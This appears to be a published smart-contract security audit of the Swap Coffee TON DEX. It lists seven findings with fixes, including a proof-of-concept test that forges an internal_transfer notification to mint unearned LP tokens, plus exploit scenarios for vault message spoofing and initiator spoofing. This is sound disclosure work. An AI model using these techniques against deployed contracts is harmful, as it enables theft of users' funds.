Swap Coffee TON DEX

Security Assessment

May 30, 2025

Prepared for:
Michele Inetovsky
Swap Coffee

Prepared by: **Bo Henderson, Coriolan Pinhas, and Omar Inuwa**

Table of Contents

Project Summary

Contact Information

The following project manager was associated with this project:

Mary O'Brien, Project Manager
mary.obrien@trailofbits.com

The following engineering director was associated with this project:

Benjamin Samuels, Engineering Director, Blockchain
benjamin.samuels@trailofbits.com

The following consultants were associated with this project:

Bo Henderson, Consultant
bo.henderson@trailofbits.com

Coriolan Pinhas, Consultant
coriolan.pinhas@trailofbits.com

Omar Inuwa, Consultant
omar.inuwa@trailofbits.com

Project Timeline

The significant events and milestones of the project are listed below.

Date	Event
April 10, 2025	Pre-project kickoff call
April 18, 2025	Status update meeting #1
April 25, 2025	Status update meeting #2
May 5, 2025	Delivery of report draft
May 5, 2025	Report readout meeting
May 20, 2025	Completion of fix review
May 30, 2025	Delivery of final comprehensive report

Executive Summary

Engagement Overview

Swap Coffee engaged Trail of Bits to review the security of its TON decentralized exchange (DEX) protocol. The target codebase consists of smart contracts written in FunC. One factory contract deploys a vault contract for each supported asset and a pool contract for each asset pair and configuration. The pool configuration can specify either a constant product or a stable swap relationship between the asset reserves and exchange rate.

A team of two consultants conducted the review from April 14 to May 2, 2025, for a total of six engineer-weeks of effort. Our testing efforts focused on access controls, internal accounting, and message ordering risks. With full access to source code and documentation, we performed static and dynamic testing of the `dex` codebase, using automated and manual processes.

Observations and Impact

This review was aided by public documentation featuring diagrams that clearly illustrate the system's architecture and internal interaction, as well as detailed technical specifications of the TL-B schemes. The overall code complexity is well managed; function and variable naming conventions are clean, and the composition of pool contracts via imports minimizes code duplication.

However, we identified multiple high-severity vulnerabilities. Most notably, two issues allow attackers to hijack the pool and vault notification systems, bypass critical access controls, and steal funds (TOB-SWAPCOFFEE-1 and TOB-SWAPCOFFEE-6).

Another high-severity issue highlights a state structure mismatch that could make the factory contract permanently unusable following code updates (TOB-SWAPCOFFEE-4). This issue, along with others such as an incorrect logical operator that allows out-of-range reserve ratios during liquidity operations (TOB-SWAPCOFFEE-2), indicates that significant gaps in test coverage still exist.

The swap arithmetic is heavily derived from Uniswap V2 constant product pools and Curve stable swap pools, though it deviates in some ways in order to manage token decimals and to account for TON's asynchronous runtime. We found no issues in the underlying arithmetic, which appears to be robust against malicious or misconfigured pools aiming to steal funds from the shared vault.

Recommendations

Based on the codebase maturity evaluation and findings identified during the security review, Trail of Bits recommends that Swap Coffee take the following steps before deployment:

- **Remediate the findings disclosed in this report.** These findings should be addressed as part of a direct remediation or any refactoring that may occur when addressing other recommendations.
- **Expand the tests.** The presence of issues that will irreparably break the vault if a certain opcode is called (TOB-SWAPCOFFEE-4) and that prevent features such as reserve ratio safeguards from working properly (TOB-SWAPCOFFEE-2) indicates that the system is inadequately tested. Most notably, add additional tests to ensure the following:
    - Every available opcode of every smart contract is executed, and the state of the system is verified after each opcode is executed.
    - Every error that can be thrown is thrown by unit tests.
- **Expand the documentation.** Although the public documentation contains valuable technical specifications and usage instructions, the following additions would aid maintainers and help users interact with the protocol more safely:
    - **List of verified pools.** The TON ecosystem is rapidly developing, and new types of tokens, such as ones that collect a fee on transfer, may launch in the future; these tokens may not be compatible with Swap Coffee exchanges. Consider maintaining a list of pool addresses that are known to contain legitimate and compatible tokens. Warn users that any tokens not on this list may be impersonating well-established tokens or may exhibit undefined behavior if they do not conform to jetton standards.
    - **Stable swap specifications.** Although the stable swap math closely follows the logic established by Curve, some deviations exist, such as the presence of token weighting logic. Additionally, the amplification coefficient is implicitly scaled without any associated inline code comments. More detailed arithmetic specifications are critical if users are to be permitted to deploy new stable pools permissionlessly in the future.
- **Protect the system from unintended or erroneous code upgrades.** The administrator of the factory contract can arbitrarily upgrade any vault or pool, allowing them to steal all funds from all users. Therefore, gaining control of this role will be a lucrative target for attackers. To better protect the protocol from off-chain attacks against the administrator, consider taking the following steps.
    - **Use a multisignature wallet.** See appendix E for guidance.
    - **Divide administrator privileges into separate roles.** Code upgrades should be infrequent, and the keys controlling the upgrader role should remain offline while no immediate upgrades are planned. However, other

administrative functions, such as activating vaults and deploying stable pools, are lower stake and likely to be performed more frequently. Consider separating all code upgrade functionality into a separate upgrader role that is slower to access and more carefully protected.

- **Enforce a timelock.** Enforcing a timelock on code upgrades will delay attackers who gain access to the upgrader role from being able to implement malicious upgrades, discouraging them from attempting to capture this role in the first place. Additionally, it will give maintainers time to double-check a pending upgrade to help prevent mistakes. Lastly, it will give users an opportunity to opt out of undesired upgrades, improving the system's decentralization properties.

- **Implement off-chain monitoring.** It is critical for those with the power to cancel pending updates to properly monitor the timelock contract. Set up real-time alerts for all admin actions. Consider adding additional event messages for actions such as code updates to simplify this process.

- **Add pause functionality.** If a security risk is discovered and a timelock is enforced while upgrading code, pause functions are critical for fixing the problem without broadcasting the vulnerability to attackers while it can still be exploited.

- **Create an incident response plan**. See appendix F for guidance.

Finding Severities and Categories

The following tables provide the number of findings by severity and category.

EXPOSURE ANALYSIS

Severity	*Count*
High	3
Medium	1
Low	2
Informational	1
Undetermined	0

CATEGORY BREAKDOWN

Category	*Count*
Access Controls	1
Data Validation	6

Project Goals

The engagement was scoped to provide a security assessment of the Swap Coffee DEX. Specifically, we sought to answer the following non-exhaustive list of questions:

- Are the access controls correctly implemented? Can a nonprivileged account gain access to privileged functionality?
- Can a misconfigured pool or a pool using a malicious token drain value from the shared vaults?
- Are the DEX swap and LP token minting equations correctly implemented? Could malicious actors gain value from a swap or receive more LP tokens than the value added?
- Are there any incorrect or error-prone steps in the deployment and initialization of new vault and pool contracts?
- Can an attacker manipulate or prevent the calculation, collection, or withdrawal of protocol fees?
- Are computation and storage fees managed properly?
- Will the execution of a multi-message action roll back gracefully if an error occurs?

Project Targets

The engagement involved reviewing and testing the following target.

dex

Repository	https://github.com/swapcoffee/dex
Version	`06caf368c2af686323ab21b9fd0e3efe4dbff3bd`
Type	FunC
Platform	TON

Project Coverage

This section provides an overview of the analysis coverage of the review, as determined by our high-level engagement goals. Our approaches included the following:

- We manually reviewed the smart contracts and all associated documentation.
- We cross-verified the mathematical implementation of the constant product strategy against Uniswap V2 and the stable pool strategy against Curve. Although there are some differences, such as the use of weights in the stable pool strategy, we confirmed that the underlying computations follow the same principles.
- We created flow diagrams and linked each node and arrow to the relevant parts of the source code. This helped us better understand the flow of messages and aided our review by allowing us to quickly follow the execution flow across contracts and source code files.

Coverage Limitations

Because of the time-boxed nature of testing work, it is common to encounter coverage limitations. The following list outlines the coverage limitations of the engagement and indicates system elements that may warrant further review:

- The `stdlib.fc` file was reviewed only to the extent necessary to understand how the rest of the codebase uses it. We conducted our review under the assumption that the helper functions provided by this file are correct, so it was not a focus of our review.

Codebase Maturity Evaluation

Trail of Bits uses a traffic-light protocol to provide each client with a clear understanding of the areas in which its codebase is mature, immature, or underdeveloped. Deficiencies identified here often stem from root causes within the software development life cycle that should be addressed through standardization measures (e.g., the use of common libraries, functions, or frameworks) or training and awareness programs.

Category	Summary	Result
Arithmetic	No issues were identified in the swap arithmetic, which is derived from well-established projects like Uniswap v2 and Curve. Although implicit floor behavior is used for rounding throughout the codebase with few exceptions, we did not identify any cases where this caused a problem. To ensure future maintainability, the codebase would benefit from more explicit documentation of assumptions and divergences from established swap arithmetic.	**Satisfactory**
Auditing	Events with aggregated information are emitted for user actions such as swaps and liquidity operations. Although critical admin actions like pool creation and code updates lack explicit event emission, relevant information is available in the associated messages. Although we received limited information about the client's off-chain monitoring strategy and incident response plan, conversations with the client indicate they are well developed.	**Satisfactory**
Authentication / Access Controls	The protocol separates roles with distinct fee withdrawer and admin privileges. Using additional roles to separate privileges could enhance the protocol's access control security. The client has indicated plans to use a multisig wallet for the admin role, which is a good practice, but this code was not in scope for the review. One low-severity issue (TOB-SWAPCOFFEE-5) highlights ambiguity in the authentication system's requirements, as it appears that certain narrowly scoped privileges can be bypassed.	**Moderate**
Complexity Management	The codebase demonstrates good complexity management with most functions being short, clear, and	**Satisfactory**

	straightforward. Function and variable names are consistently clear and meaningful. While a few functions are quite long, they do not use excessively nested logical structures or loops, and their complexity is generally justified by specialized logic that is relevant only in that specific context. The overall architecture is logical and maintainable, with a factory contract deploying vault and pool contracts following established patterns from other DEX implementations with TON constraints. The system uses nonstandard inheritance patterns to simulate polymorphism across sections of FunC smart contracts. Although this makes it unclear which implementation maps to internal calls, it significantly reduces the amount of code duplication that would otherwise be required.	
Decentralization	All contracts in the protocol are instantly upgradeable by the admin role without requiring a timelock or governance process. While the client indicates plans for a multisig wallet implementation, possibly with a timelock, the code supporting these governance mechanisms was not in scope. Privileged actions are separated into the fee withdrawer and admin roles. Consider separating the code upgrade privileges from other admin privileges and publishing a roadmap for deprecating code upgrade functionality once the protocol has stabilized.	**Weak**
Documentation	Public high-level documentation is comprehensive, with helpful diagrams and detailed specifications of externally callable methods and their arguments. However, code comments are sparse, and many functions lack any inline documentation at all, which could impede maintenance and future development. Consider adding a list of established pool addresses and warnings for users regarding unsupported or fraudulent tokens.	**Satisfactory**
Low-Level Manipulation	All instances of low-level operations (such as Fift instructions or code) are wrapped into simple helper functions or implemented in the standard library.	**Strong**

Testing and Verification	The target codebase has a thorough test suite targeting user operations and funds withdrawal. However, we identified several critical issues, particularly TOB-SWAPCOFFEE-2 (logical OR operator instead of AND in validation) and TOB-SWAPCOFFEE-4 (broken `update_code_cell`), that could have been caught by comprehensive testing, especially of administrative functions and security boundaries.	**Weak**
Transaction Ordering	Even though the TON blockchain network does not allow users to time when transactions are executed, timing issues can impact liquidity and swap operations. The Swap Coffee team minimized these risks by enforcing appropriate slippage limits. No transaction ordering issues were identified during this review.	**Strong**

Summary of Findings

The table below summarizes the findings of the review, including details on type and severity.

ID	Title	Type	Severity
1	Token minting vulnerability in LP token notification handling	Data Validation	High
2	Incorrect logical operator in reserve ratio validation allows out-of-range ratios	Data Validation	Medium
3	Single-step upgrades and ownership changes	Data Validation	Low
4	Malformed admin update data	Data Validation	High
5	Spoofable transaction initiator allows unauthorized creation of stable pools	Access Controls	Low
6	Arbitrary messages can be executed via vault notification messages	Data Validation	High
7	Incorrect message value accounting	Data Validation	Informational

Detailed Findings

1. Token minting vulnerability in LP token notification handling	
Severity: **High**	Difficulty: **Low**
Type: Data Validation	Finding ID: TOB-SWAPCOFFEE-1
Target: `contracts/pool/include/jetton_based.fc`	

Description

The pool contract's notification handling logic could send a maliciously crafted message that results in LP token creation.

When a notification receiver that differs from the success address is specified, the contract sends two separate messages: one for the notification and one for the token transfer. Specifically, the notification allows the user to send any message to any address from the pool. Since the pool is the jetton master contract of the LP tokens, a malicious user could exploit this by setting the notification receiver to any LP token wallet, crafting a notification payload that mimics a token `internal_transfer` message, resulting in a malicious token minting.

```
send_cell(
    notification_receiver,
    notification_fwd_gas,
    notification
);
```

Figure 1.1: The notification message sent from the pool (dex/contracts/pool/include/jetton_based.fc#392–396)

Exploit Scenario

Alice submits a liquidity deposit transaction, which includes a success notification with the recipient set to an LP wallet contract and the payload set to an `internal_transfer` call. Because the pool contract is the sender, the LP wallet accepts this notification message and, as a result, Alice receives more LP tokens than she should.

The following is a proof-of-concept test that demonstrates the above scenario. It can be added to the `tests/PoolNotificationTest.spec.ts` file. To execute it, issue the following command:

```
npm run test -- PoolNotificationTest.spec.ts --verbose=true
--silent=false.
```

```
test.only('POC supply liq success, success notification, %i, %i,', async () => {
    let t1 = 0;
    let t2 = 1;

    await createPool(user,
        resolveVault(t1),
        toNano(1),
        new PoolParams(
            await resolveVault(t1).getAssetParsed(),
            await resolveVault(t2).getAssetParsed(),
            AMM.ConstantProduct
        ),
        null
    );
    await createPool(user,
        resolveVault(t2),
        toNano(1),
        new PoolParams(
            await resolveVault(t1).getAssetParsed(),
            await resolveVault(t2).getAssetParsed(),
            AMM.ConstantProduct
        ),
        new NotificationData(
            null,
            null
        )
    )
    let pool = blockchain.openContract(
        await factory.getPoolJettonBased(
            await resolveVault(t1).getAssetParsed(),
            await resolveVault(t2).getAssetParsed(),
            AMM.ConstantProduct
        )
    );
    expect((await pool.getJettonData()).totalSupply).toBe(toNano(1));
    expect(await getUserLp(user.address, pool)).toBe(toNano(1) - 1_000n);

    let notificationAddress = await getWalletAddress(user.address, pool);

    await depositLiquidity(user, resolveVault(t1), toNano(1),
        new DepositLiquidityParams(
            new DepositLiquidityParamsTrimmed(
                BigInt((1 << 30) * 2),
                0n,
                user.address,
                null,
                null
            ),
            new PoolParams(
                await resolveVault(t1).getAssetParsed(),
                await resolveVault(t2).getAssetParsed(),
                AMM.ConstantProduct
            )
```

```
        )
    )
    let txs = await depositLiquidity(user, resolveVault(t2), toNano(1),
        new DepositLiquidityParams(
            new DepositLiquidityParamsTrimmed(
                BigInt((1 << 30) * 2),
                0n,
                user.address,
                null,
                new NotificationData(
                    new NotificationDataSingle( // <-- The malicious notification
data
                        notificationAddress,
                        toNano(1) / 8n,
                        beginCell()
                            .storeUint(0x178d4519, 32)
                            .storeUint(1234, 64)
                            .storeCoins(toNano(1000000000000000000))
                            .storeAddress(pool.address)
                            .storeAddress(user.address)
                            .storeCoins(0)
                            .storeUint(0, 1)
                            .endCell()
                    ),
                    null
                )
            ),
            new PoolParams(
                await resolveVault(t1).getAssetParsed(),
                await resolveVault(t2).getAssetParsed(),
                AMM.ConstantProduct
            )
        )
    )

    printTransactions(txs.transactions);

    expect((await pool.getJettonData()).totalSupply).toBe(toNano(1) * 2n);
    expect(await getUserLp(user.address, pool)).toBeGreaterThan(toNano(1) - 1_000n +
toNano(1)); //Should be impossible without vulnerability
});
```

Figure 1.2: Proof of concept of the TOB-SWAPCOFFEE-1 vulnerability

Recommendations

Short term, implement a dedicated notification contract to dispatch notification messages, thereby isolating this functionality from the pool contract. This architectural enhancement will provide a robust safeguard against transmission of malicious messages from the pool.

Long term, ensure that no contract permits the transmission of arbitrary messages to arbitrary receivers, or restrict such transmission to a dedicated contract as delineated in the recommended short-term solution.

2. Incorrect logical operator in reserve ratio validation allows out-of-range ratios

Severity: **Medium**	Difficulty: **Medium**
Type: Data Validation	Finding ID: TOB-SWAPCOFFEE-2
Target: `contracts/pool/include/jetton_based.fc`	

Description

The pool contract's reserve ratio validation logic incorrectly uses a logical OR operator instead of AND, allowing transactions to proceed even when the reserve ratio is outside the specified range. The validation should consider a ratio valid only when it is both above the minimum "AND" below the maximum, but the current implementation considers it valid if it is either above the minimum "OR" below the maximum.

The identified vulnerability resides in the `deposit_liquidity` function, as illustrated in figure 2.1, and in the `withdraw_liquidity` function.

```
int valid = (compare_fractions(
    min_nominator,
    denominator,
    storage::reserve1,
    storage::reserve2
) <= 0) | (compare_fractions(
    max_nominator,
    denominator,
    storage::reserve1,
    storage::reserve2
) >= 0);
  ifnot (valid) {
    excno = errors::reserves_ratio_failed;
  }
```

Figure 2.1: The incorrect logical OR operator in the validation logic (dex/contracts/pool/include/jetton_based.fc#237–250)

The same logical operator error in the reserve ratio validation logic has also been found in the fee validation mechanism. However, in this case, the impact is lower because only admin operations can trigger the vulnerability, rather than arbitrary user transactions.

Exploit Scenario

Alice submits a liquidity deposit transaction with specific min/max ratio parameters. Eve executes a swap that dramatically alters the pool's ratio to be outside Alice's intended

range. Due to the logical OR error, Alice's transaction still executes even though the ratio is now completely unfavorable.

Recommendations

Short term, replace the logical OR operator (`|`) with a logical AND operator (`&`) in the reserve ratio validation logic to ensure that both conditions must be met for a valid range check.

Long term, implement comprehensive unit tests for the reserve ratio validation logic with various edge cases, including values at and beyond the boundaries of the specified ranges.

3. Single-step upgrades and ownership changes

Severity: **Low**	Difficulty: **Low**
Type: Data Validation	Finding ID: TOB-SWAPCOFFEE-3
Target: `contracts/factory.fc`	

Description

Multiple `op::update` operations in the smart contracts update the code and the data of the contract at once. If such an update is incorrect, there is no way to recover from it. For example, a snippet of this operation in the factory contract is shown in figure 3.1:

```
} elseif (opcode == opcodes::update_admin) {
        ;; ok
        throw_unless(errors::not_an_admin, equal_slice_bits(storage::admin_address,
sender_address));
        update_addresses(in_msg_body~load_msg_addr(), storage::withdrawer_address);
        send_builder(
            sender_address,
            begin_cell()
                .store_uint(opcodes::excesses, 32)
                .store_uint(query_id, 64),
            SEND_MODE_CARRY_ALL_BALANCE
        );
```

Figure 3.1: The logic managing admin role updates (dex/contracts/factory.fc#L273–L283)

Recommendations

Short term, use a two-step process with a timelock to ensure that incorrect code or data updates are not immediately irreversible.

Long term, identify and document all possible actions that privileged accounts can take, along with their associated risks. This will facilitate codebase reviews and prevent future mistakes.

4. Malformed admin update data	
Severity: **High**	Difficulty: **Low**
Type: Data Validation	Finding ID: TOB-SWAPCOFFEE-4
Target: `contracts/factory.fc`	

Description

The `update_code_cell` helper function writes a cell with the wrong structure to storage. If the `opcodes::update_code_cell` functionality is ever used, the factory contract will become permanently unusable.

For context, the `load_data` method, shown in figure 4.1, defines the expected state structure: two addresses followed by two references to cells that contain initialization code.

```
() load_data() impure inline {
    slice cs = get_data().begin_parse();
    storage::admin_address = cs~load_msg_addr();
    storage::withdrawer_address = cs~load_msg_addr();

    slice code_cs = cs~load_ref().begin_parse();
    storage::lp_wallet_code_cell = code_cs~load_ref();
    storage::init_code_cell = code_cs~load_ref();
    storage::liquidity_depository_code_cell = code_cs~load_ref();
    storage::pool_creator_code_cell = code_cs~load_ref();

    code_cs = cs~load_ref().begin_parse();
    storage::vault_code_dict = code_cs~load_dict();
    storage::pool_code_dict = code_cs~load_dict();
}
```

Figure 4.1: The `load_data` function of the factory contract (`dex/contracts/factory.fc#L18–L32`)

The `update_code_cell` helper function, shown in figure 4.2, sets malformed data consisting of two addresses and one reference to a cell containing initialization code.

Attempting to execute `load_data` after executing the `update_code_cell` function will result in an out-of-bounds reference error. Because `load_data` is called at the beginning of the `recv_internal` entrypoint function, all messages sent to this contract will fail, and the factory contract will become permanently unusable.

```
() update_code_cell(cell code_cell) impure inline {
    set_data(
        begin_cell()
            .store_slice(storage::admin_address)
            .store_slice(storage::withdrawer_address)
            .store_ref(code_cell)
            .end_cell()
    );
}
```

Figure 4.2: The `update_code_cell` function of the factory contract (dex/contracts/factory.fc#L57–L65)

Exploit Scenario

Alice, a Swap Coffee admin, attempts to deploy a minor update to the `lp_wallet` code in the factory. She executes the `update_code_cell` opcode on the factory contract and supplies the new `lp_wallet` code in the message body. As a result, malformed data is set, and all subsequent messages to this contract will throw errors. The `internal_recv` function no longer works, and the factory is now unusable. The Swap Coffee protocol must be redeployed.

Recommendations

Short term, add a second code cell argument to the `update_code_cell` function and save references to both. Additionally, add verification logic to ensure these two cells contain the correct number of initialization code references.

Long term, add tests for all administrative functions to check whether the system is in the expected state following privileged actions.

5. Spoofable transaction initiator allows unauthorized creation of stable pools

Severity: **Low**	Difficulty: **Medium**
Type: Access Controls	Finding ID: TOB-SWAPCOFFEE-5
Target: `contracts/factory.fc`	

Description

The factory contract implements an access control that restricts the creation of stable pools to admin users only, but this restriction can be bypassed due to improper validation of the transaction initiator.

The admin check relies on the `tx_initiator` parameter, which ultimately comes from the address specified in the `from_addr` parameter in token transfers, but this address can be spoofed by a malicious token implementation.

```
throw_unless(errors::not_an_admin, ((amm == amm::constant_product) & (is_active ==
1) & cell_null?(extra_settings)) | equal_slice_bits(tx_initiator,
storage::admin_address));
```

Figure 5.1: Access control check in the factory contract (dex/contracts/factory.fc#96)

This vulnerability enables any user to bypass the restrictions on the stable pools to create one with a malicious token. While this issue has not been assessed as high severity due to its inability to deplete reserves beyond its existing balance or compromise other pools, we want to warn the team to ensure there is no such impact with special parameters.

Exploit Scenario

A malicious user creates a custom token with a modified token wallet implementation that always reports transfers as coming from the admin address. When creating a pool using this token, they specify a non-constant-product AMM strategy like `curve_fi_stable`. The factory contract receives a message with `tx_initiator` set to the admin's address (even though the admin did not initiate it), causing the access control check to pass. This allows the creation of special pool types that should be restricted to administrators only.

Recommendations

Short term, implement a signature-based authorization system where the admin signs permission for creating special pool types, and verify this signature in the factory contract instead of relying solely on the reported transaction initiator address.

Long term, add comprehensive tests that simulate interactions with malicious tokens to verify the protocol's behavior under adversarial conditions.

6. Arbitrary messages can be executed via vault notification messages

Severity: **High**	Difficulty: **Low**
Type: Data Validation	Finding ID: TOB-SWAPCOFFEE-6
Target: `target/contracts/vault_jetton.fc`	

Description

The vault contract allows arbitrary messages to be sent to arbitrary recipients through its notification system, which can be exploited to bypass critical security checks.

Similar to TOB-SWAPCOFFEE-1, the vault sends notification messages that can contain any payload, allowing attackers to craft malicious operations that appear to come from the vault. This vulnerability can be exploited to send malicious messages, such as a swap operation or a liquidity deposit, without transferring any tokens to the vault. Typically, the vault verifies that jetton tokens have been received before sending messages to the pools, but this notification mechanism allows these critical security checks to be bypassed entirely.

```
send_cell(
    notification_receiver,
    notification_fwd_gas,
    notification
);
```

Figure 6.1: The notification message sent from the vault (`dex/contracts/vault_jetton.fc#264–268`)

Exploit Scenario

A malicious user initiates a swap operation with a crafted notification payload. He sets the notification receiver to a pool contract address and the notification payload to a valid `swap_internal` message. When the vault processes this and sends the notification, it effectively issues a swap message to the pool that appears to come from the vault itself. This bypasses all the checks in the vault that typically validate asset transfers, allowing the attacker to perform swaps without transferring any assets to the vault.

Similar exploits are possible with other operations like `deposit_liquidity` or anywhere notifications are used in the codebase.

Recommendations

Short term, implement a dedicated notification contract to dispatch notification messages, thereby isolating this functionality from the vault contract. This architectural enhancement will provide a robust safeguard against transmitting malicious messages from the vaults.

Long term, ensure that no contract permits the transmission of arbitrary messages to arbitrary receivers, or restrict such transmission to a dedicated contract as delineated in the recommended short-term solution.

7. Incorrect message value accounting

Severity: **Informational**	Difficulty: **Medium**
Type: Data Validation	Finding ID: TOB-SWAPCOFFEE-7
Target: `target/contracts/vault_jetton.fc`	

Description

The contracts incorrectly verify that sufficient TON is available for forwarding to subsequent contracts, which can lead to transaction failures or unexpected behavior.

The pattern, exemplified in figures 7.1, 7.2, and 7.3 but present across multiple contracts, involves three steps:

1. The contract reserves its original balance and the storage fees using `reserve_for_carry_inbound_without_value()`.

```
    reserve_for_carry_inbound_without_value();
```

Figure 7.1: The contract reserves its balance. (dex/contracts/vault_jetton.fc#64)

2. It checks if the original `msg_value` is sufficient for gas requirements.

```
int ton_required_for_gas = get_compute_fee(BASECHAIN, gas::swap::computation) +
fwd_fee * gas::swap::fwd_steps;
if (msg_value < ton_required_for_gas) {
    throw_safely_jetton(
        errors::not_enough_gas,
        storage::jetton_wallet_address,
        from_addr,
        query_id,
        amount
    );
      }
```

Figure 7.2: Gas requirements validation (dex/contracts/vault_jetton.fc#86–95)

3. It forwards the remaining TON using `SEND_MODE_CARRY_ALL_BALANCE`.

```
      SEND_MODE_CARRY_ALL_BALANCE
```

Figure 7.3: Sending the remaining TON (dex/contracts/vault_jetton.fc#113)

This approach fails to account for the fact that storage fees are already deducted from the available balance after reservation, meaning the check against `msg_value` does not reflect the actual remaining balance. When the minimum required TON is provided, this can result in insufficient funds being forwarded to subsequent contracts, as the actual available balance could be significantly less than what was verified in the gas check.

Exploit Scenario

A user initiates a swap with the exact amount of TON required to satisfy gas requirements (specified in `ton_required_for_gas`). The vault contract's `reserve_for_carry_inbound_without_value` method reserves the original contract balance, but storage fees consume most or all of the attached TON because the contract has not been called for a very long time. When the vault attempts to forward the operation to the pool with `SEND_MODE_CARRY_ALL_BALANCE`, insufficient TON remains for the pool's operation. This results in a failed transaction, lost gas, or unexpected behavior in the pool contract that was expecting a minimum amount of forwarded TON.

Recommendations

Short term, replace `msg_value` with `get_incoming_value_minus_storage_fees` in the gas requirements comparison.

Long term, add comprehensive tests to ensure the accurate transfer of TON, with values consistently exceeding the `ton_required_for_gas` value. Moreover, add unit tests to ensure failure paths work accurately under conditions of insufficient gas.

A. Vulnerability Categories

The following tables describe the vulnerability categories, severity levels, and difficulty levels used in this document.

Vulnerability Categories	
Category	**Description**
Access Controls	Insufficient authorization or assessment of rights
Auditing and Logging	Insufficient auditing of actions or logging of problems
Authentication	Improper identification of users
Configuration	Misconfigured servers, devices, or software components
Cryptography	A breach of system confidentiality or integrity
Data Exposure	Exposure of sensitive information
Data Validation	Improper reliance on the structure or values of data
Denial of Service	A system failure with an availability impact
Error Reporting	Insecure or insufficient reporting of error conditions
Patching	Use of an outdated software package or library
Session Management	Improper identification of authenticated users
Testing	Insufficient test methodology or test coverage
Timing	Race conditions or other order-of-operations flaws
Undefined Behavior	Undefined behavior triggered within the system

Severity Levels	
Severity	**Description**
Informational	The issue does not pose an immediate risk but is relevant to security best practices.
Undetermined	The extent of the risk was not determined during this engagement.
Low	The risk is small or is not one the client has indicated is important.
Medium	User information is at risk; exploitation could pose reputational, legal, or moderate financial risks.
High	The flaw could affect numerous users and have serious reputational, legal, or financial implications.

Difficulty Levels	
Difficulty	**Description**
Undetermined	The difficulty of exploitation was not determined during this engagement.
Low	The flaw is well known; public tools for its exploitation exist or can be scripted.
Medium	An attacker must write an exploit or will need in-depth knowledge of the system.
High	An attacker must have privileged access to the system, may need to know complex technical details, or must discover other weaknesses to exploit this issue.

B. Code Maturity Categories

The following tables describe the code maturity categories and rating criteria used in this document.

Code Maturity Categories	
Category	**Description**
Arithmetic	The proper use of mathematical operations and semantics
Auditing	The use of event auditing and logging to support monitoring
Authentication / Access Controls	The use of robust access controls to handle identification and authorization and to ensure safe interactions with the system
Complexity Management	The presence of clear structures designed to manage system complexity, including the separation of system logic into clearly defined functions
Cryptography and Key Management	The safe use of cryptographic primitives and functions, along with the presence of robust mechanisms for key generation and distribution
Decentralization	The presence of a decentralized governance structure for mitigating insider threats and managing risks posed by contract upgrades
Documentation	The presence of comprehensive and readable codebase documentation
Low-Level Manipulation	The justified use of inline assembly and low-level calls
Testing and Verification	The presence of robust testing procedures (e.g., unit tests, integration tests, and verification methods) and sufficient test coverage
Transaction Ordering	The system's resistance to transaction-ordering attacks

Rating Criteria	
Rating	**Description**
Strong	No issues were found, and the system exceeds industry standards.
Satisfactory	Minor issues were found, but the system is compliant with best practices.
Moderate	Some issues that may affect system safety were found.
Weak	Many issues that affect system safety were found.
Missing	A required component is missing, significantly affecting system safety.
Not Applicable	The category does not apply to this review.
Not Considered	The category was not considered in this review.
Further Investigation Required	Further investigation is required to reach a meaningful conclusion.

C. Code Quality Findings

The following findings are not associated with any specific vulnerabilities. However, addressing them will enhance code readability and may prevent the introduction of vulnerabilities in the future.

- **AND and OR instead of XOR.** The `update_pool` helper function makes two assertions on lines 171 and 172 of `commons.fc` to ensure that the `is_active` parameter and storage value are not both true or both false. This could be accomplished with one assertion using an XOR operator instead.
- **Lack of `end_parse` calls.** Throughout the codebase, cells are parsed into slices using the `begin_parse` operator. These operations are never accompanied by an `end_parse` call. As a result, Swap Coffee contracts will not throw errors if they read less data than is provided. This makes data length mismatch problems difficult to debug and obfuscates developer intent. However, adding `end_parse` calls will add non-negligible gas costs to the execution of every message and, for this reason, Swap Coffee does not intend to add `end_parse` calls.

D. Token Integration Checklist

The following checklist provides recommendations for interactions with arbitrary tokens. Every unchecked item should be justified and its associated risks understood.

General Considerations

- ❏ **The contract has a security review.** Avoid interacting with contracts that lack a security review. Check the length of the assessment (i.e., the level of effort), the reputation of the security firm, and the number and severity of the findings.
- ❏ **Transfer should not take a fee.** Deflationary tokens can lead to unexpected behavior.
- ❏ **Potential interest earned from the token is accounted for.** Some tokens distribute interest to token holders. This interest may be trapped in the contract if not accounted for.
- ❏ **You have contacted the developers.** You may need to alert their team to an incident. Look for appropriate contacts on `blockchain-security-contacts`.
- ❏ **They have a security mailing list for critical announcements.** Their team should advise users when critical issues are found or when upgrades occur.

Contract Composition

- ❏ **The contract avoids unnecessary complexity.** The token should be a simple contract; a token with complex code requires a higher standard of review.
- ❏ **The contract has only a few non-token-related functions.** Non-token-related functions increase the likelihood of an issue in the contract.

Owner Privileges

- ❏ **The token is not upgradeable.** Upgradeable contracts may change their rules over time.
- ❏ **The owner has limited minting capabilities.** Malicious or compromised owners can misuse minting capabilities.
- ❏ **The token is not pausable.** Malicious or compromised owners can trap contracts relying on pausable tokens. Identify pausable code by hand.
- ❏ **The owner cannot denylist the contract.** Malicious or compromised owners can trap contracts relying on tokens with a denylist. Identify denylisting features by hand.

- ❏ **The team behind the token is known and can be held responsible for misuse.** Contracts with anonymous development teams or teams that reside in legal shelters require a higher standard of review.

Token Scarcity

Reviews of token scarcity issues must be executed manually. Check for the following conditions:

- ❏ **The supply is owned by more than a few users.** If a few users own most of the tokens, they can influence operations based on the tokens' repartition.
- ❏ **The total supply is sufficient.** Tokens with a low total supply can be easily manipulated.
- ❏ **The tokens are in more than a few exchanges.** If all the tokens are in one exchange, a compromise of the exchange could compromise the contract relying on the token.
- ❏ **Users understand the risks associated with a large amount of funds.** Contracts relying on the token balance must account for attackers with a large amount of funds.

E. Security Best Practices for Using Multisignature Wallets

Consensus requirements for sensitive actions, such as upgrading contracts, are meant to mitigate the risks of the following:

- Any one person overruling the judgment of others
- Failures caused by any one person's mistake
- Failures caused by the compromise of any one person's credentials

For example, in a 2-of-3 multisignature wallet, the authority to upgrade the `StakeManager` contract would require a consensus of two individuals in possession of two of the wallet's three private keys. For this model to be useful, the following conditions are required:

1. The private keys must be stored or held separately, and access to each one must be limited to a unique individual.
2. If the keys are physically held by third-party custodians (e.g., a bank), multiple keys should not be stored with the same custodian. (Doing so would violate requirement #1.)
3. The person asked to provide the second and final signature on a transaction (i.e., the cosigner) should refer to a pre-established policy specifying the conditions for approving the transaction by signing it with his or her key.
4. The cosigner should also verify that the half-signed transaction was generated willingly by the intended holder of the first signature's key.

